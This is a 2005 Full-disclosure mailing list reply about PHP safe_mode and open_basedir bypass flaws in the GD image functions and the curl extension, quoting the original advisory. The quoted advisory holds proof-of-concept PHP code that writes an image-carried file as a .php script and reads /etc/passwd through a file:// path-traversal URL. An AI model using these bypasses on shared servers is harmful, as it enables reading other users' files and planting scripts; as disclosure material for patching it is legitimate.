Re: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities

From: VeNoMouS (venom_at_gen-x.co.nz)
Date: 10/18/05

  • Next message: Stefan Esser: "Re: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities" 
    To: "peter MC tachatte" <slythers@gmail.com>, <full-disclosure@lists.grok.org.uk>
Date: Wed, 19 Oct 2005 10:31:23 +1300

    In reguads to the the curl, I have just checked all the php curl code this was fixed in 4.3.10 from what i can see, because i wrote a patch to stop the openbase dir in curl until php fixed it, i submited it along time ago but the php dev's were all "blah blah blah 3rd party software blah blah not our problem"

    im not sure if theres a patch for the imagegif() as i havent seen that one before.
      ----- Original Message -----
      From: peter MC tachatte
      To: full-disclosure@lists.grok.org.uk
      Sent: Tuesday, October 18, 2005 9:55 AM
      Subject: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities

      There is a vulnerability (Safedir Restriction Bypass) identified within the GD extension affecting
      the following functions:
      - imagegif()
      - imagepng()
      - imagejpeg()

      in /ext/gd/gd.c line 1647

      Which is now fixed in the cvs
      http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
      POC:

      with an image like http://81.57.125.106/~slythers/file.gif
      <?php
          $im = imagecreatefromgif("file.gif");
          imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
      ?>

      curl openbasedir and safemode bypass.
      POC:

      <?php

      mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
      $ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

      $file=curl_exec($ch);

      echo $file;

      ?>

      As you notice, we can bypass the safedir which leads to access to any
      files on any shared servers.

      This is fixed in the cvs.
       
      slythers@gmail.com
      greets: david coallier <davidc@php.net>

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  • Next message: Stefan Esser: "Re: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities"